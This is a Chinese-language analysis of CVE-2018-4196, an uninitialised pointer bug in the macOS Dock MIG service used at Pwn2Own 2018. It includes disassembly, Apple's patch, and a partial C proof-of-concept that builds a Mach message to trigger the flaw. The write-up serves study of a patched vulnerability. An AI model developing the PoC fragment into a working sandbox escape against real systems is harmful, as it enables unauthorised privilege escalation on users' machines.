Uninitialised Objective-C Pointer Vulnerability Analysis (CVE-2018-4196)

info

MWR Lab在pwn2own2018用来macOS上一整套利用的sbx部分漏洞分析,这个漏洞发生在com.apple.dock.server服务,是一个栈指针未初始化。

vuln(10.13’s Dock binary)

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v107 = a5;
v5 = a3;
v105 = a2;
v111 = 1;
v102 = a4;
v6 = (const char *)a4;
v98 = a4;
v7 = UnserializeCFType(a3, a4, &v89);
v8 = objc_autorelease(*(_QWORD *)&v89);
v9 = (void *)_objc_retain(v8);
v10 = v9;
if ( v7 )
{
...

v89未初始化,到这里还造成不了什么问题;

主要是看UnserializeCFType的逻辑,这个函数会call到_AXUnserializeCFType

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__text:000000000000F043
__text:000000000000F043 public _AXUnserializeCFType
__text:000000000000F043 _AXUnserializeCFType proc near ; CODE XREF: _UnserializeCFType+16↑j
__text:000000000000F043 ; _AXUnserializeWrapper+15↓j ...
__text:000000000000F043
__text:000000000000F043 var_8 = qword ptr -8
__text:000000000000F043
__text:000000000000F043 push rbp
__text:000000000000F044 mov rbp, rsp
__text:000000000000F047 sub rsp, 10h
__text:000000000000F04B mov [rbp+var_8], rdx
__text:000000000000F04F mov eax, 0FFFF9D8Fh
__text:000000000000F054 cmp rcx, 8
__text:000000000000F058 jb short loc_F0B7
__text:000000000000F05A mov qword ptr [r8], 0
__text:000000000000F061 mov esi, [rdx]
__text:000000000000F063 cmp esi, 6F77656Eh
__text:000000000000F069 jz short loc_F073
__text:000000000000F06B cmp esi, 61656C61h
__text:000000000000F071 jnz short loc_F0B7
__text:000000000000F073
__text:000000000000F073 loc_F073: ; CODE XREF: _AXUnserializeCFType+26↑j
__text:000000000000F073 lea rax, [rdx+4]
__text:000000000000F077 mov [rbp+var_8], rax
__text:000000000000F07B mov eax, [rdx+4]
__text:000000000000F07E cmp rax, 0Fh
__text:000000000000F082 jbe short loc_F08D
__text:000000000000F084 lea r9, _bogusUnserialize
__text:000000000000F08B jmp short loc_F098
__text:000000000000F08D ; ---------------------------------------------------------------------------
__text:000000000000F08D
__text:000000000000F08D loc_F08D: ; CODE XREF: _AXUnserializeCFType+3F↑j
__text:000000000000F08D lea rdx, _sUnserializeFunctions
__text:000000000000F094 mov r9, [rdx+rax*8]
__text:000000000000F098
__text:000000000000F098 loc_F098: ; CODE XREF: _AXUnserializeCFType+48↑j
__text:000000000000F098 add rcx, 0FFFFFFFFFFFFFFFCh
__text:000000000000F09C xor eax, eax
__text:000000000000F09E cmp esi, 6F77656Eh
__text:000000000000F0A4 setz al
__text:000000000000F0A7 lea rsi, [rbp+var_8]
__text:000000000000F0AB mov rdx, rcx
__text:000000000000F0AE mov rcx, r8
__text:000000000000F0B1 mov r8d, eax
__text:000000000000F0B4 call r9 ; _bogusUnserialize
__text:000000000000F0B7
__text:000000000000F0B7 loc_F0B7: ; CODE XREF: _AXUnserializeCFType+15↑j
__text:000000000000F0B7 ; _AXUnserializeCFType+2E↑j
__text:000000000000F0B7 add rsp, 10h
__text:000000000000F0BB pop rbp
__text:000000000000F0BC retn
__text:000000000000F0BC _AXUnserializeCFType endp

问题就在于这个函数里对这个未初始化的指针的处理,这个函数也没有初始化这个指针,而是直接判断cmp rcx, 8,决定是否执行反序列化的操作;然而,rcx是一个可控值,这里可以控制rcx小于8,然后使UnserializeCFType执行失败。

这里回到这个服务的MIG handler函数:

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v7 = UnserializeCFType(a3, a4, &v89);
v8 = objc_autorelease(*(_QWORD *)&v89);

它默认UnserializeCFType执行成功,并不考虑任何失败的情况,这就导致后面直接使用这个未初始化的指针作为objc_autorelease的参数。

patch

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_text:0000000000010ABD
__text:0000000000010ABD public _AXUnserializeCFType
__text:0000000000010ABD _AXUnserializeCFType proc near ; CODE XREF: _UnserializeCFType+16↑j
__text:0000000000010ABD ; _AXUnserializeWrapper+1A↓j ...
__text:0000000000010ABD
__text:0000000000010ABD var_8 = qword ptr -8
__text:0000000000010ABD
__text:0000000000010ABD push rbp
__text:0000000000010ABE mov rbp, rsp
__text:0000000000010AC1 sub rsp, 10h
__text:0000000000010AC5 mov [rbp+var_8], rdx
__text:0000000000010AC9 mov qword ptr [r8], 0
__text:0000000000010AD0 mov eax, 0FFFF9D8Fh
__text:0000000000010AD5 cmp rcx, 8
__text:0000000000010AD9 jb short loc_10B31
__text:0000000000010ADB mov esi, [rdx]
__text:0000000000010ADD cmp esi, 6F77656Eh
__text:0000000000010AE3 jz short loc_10AED

_AXUnserializeCFType 对之前没初始化的指针先set NULL处理,然后再执行cmp rcx 8。 所以即使之前还是有未初始化的情况,在这里也彻底堵死了。

苹果的这个补法还是挺优雅的,代价也比较小,比一个handler一个handler得去做初始化的工作要方便多了 :-)

ref

apple-safari-pwn2own-vuln-write-up-2018-10-29

伪POC

我没看这个洞所在的handler,而是看到了另外的类似的情况,已另外一个handler为目标写的poc : (

有些字段瞎填的,不影响,找个老版本,改一改字段应该ok。

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struct dock_msg{
4mach_msg_header_t hdr;
4mach_msg_body_t body;
4mach_msg_ool_descriptor_t ool_desc;
4uint32_t PAD[2];
4uint32_t ool_size;
};

struct dock_msg m = {0};

//header +0
m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX; // must be complex msg
m.hdr.msgh_size = sizeof(struct dock_msg);
m.hdr.msgh_remote_port = service_port;
m.hdr.msgh_local_port = 0;
m.hdr.msgh_voucher_port = 0; //anything you want :-)
m.hdr.msgh_id = id;

//body must be 1, +0x18
m.body.msgh_descriptor_count = 1;

int *tmp = malloc(0x1337);
//ool desc 12 bytes, +0x1c

m.ool_desc.address = tmp;
m.ool_desc.deallocate = 0;
m.ool_desc.copy = 0;
m.ool_desc.pad1 = 0;
m.ool_desc.type = 1;
m.ool_desc.size = 0x1337; //这个就是 cmp rcx, 8 的rcx

// padding, +0x28
m.PAD[0] = 0x1337;

// ool size +0x34
m.ool_size = 0x1337;

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